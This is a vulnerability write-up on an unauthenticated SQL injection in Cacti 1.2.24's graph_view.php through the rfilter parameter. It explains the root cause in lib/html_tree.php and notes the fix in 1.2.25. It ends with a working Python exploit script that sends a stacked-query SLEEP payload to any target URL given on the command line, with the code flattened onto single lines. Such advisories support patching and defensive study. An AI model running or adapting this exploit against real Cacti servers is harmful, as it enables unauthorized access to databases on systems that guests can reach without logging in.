Unauthenticated SQL Injection in graph_view.php in Cacti

The vulnerability exists in `graph_view.php` and is accessible via the `tree_content` action. Since guest users can access this page without authentication by default, an attacker can send a crafted `rfilter` parameter. This parameter is intended to be a regular expression but is improperly handled within the SQL query, allowing for SQL injection. The PoC demonstrates this by using a payload that includes a SQL `SLEEP` command, causing a noticeable delay in the response [ref_id=1].

The vulnerability resides within the `grow_right_pane_tree` function, which is invoked from the `graph_view.php` file. Specifically, the `rfilter` parameter, after being validated by `html_validate_tree_vars` and `validate_is_regex`, is directly embedded within a SQL query using double quotes for the `RLIKE` clause in `lib/html_tree.php` [ref_id=1].

The advisory indicates that the issue has been addressed in version 1.2.25. While a specific patch diff is not provided, the fix likely involves more robust validation and sanitization of the `rfilter` parameter before it is incorporated into the SQL query. This would prevent malicious SQL code from being executed, thereby closing the SQL injection vulnerability [ref_id=1].

```python import argparse import requests import sys import urllib3

sleep_time = 10 payload = f"""OR ""="("")));SELECT SLEEP({sleep_time});-- -"""

def exploit(): url = f"{target}/graph_view.php"

params = { "action":"tree_content", "node":"1-1-tree_anchor", "rfilter":payload }

print('[+] Sending payload...') print(f"[+] Payload: {payload}") session.get(url,params=params) if __name__=='__main__': urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)") parser.add_argument('-t','--target',help='',required=True) args = parser.parse_args() target = args.target session = requests.Session()

exploit() ``` [ref_id=1]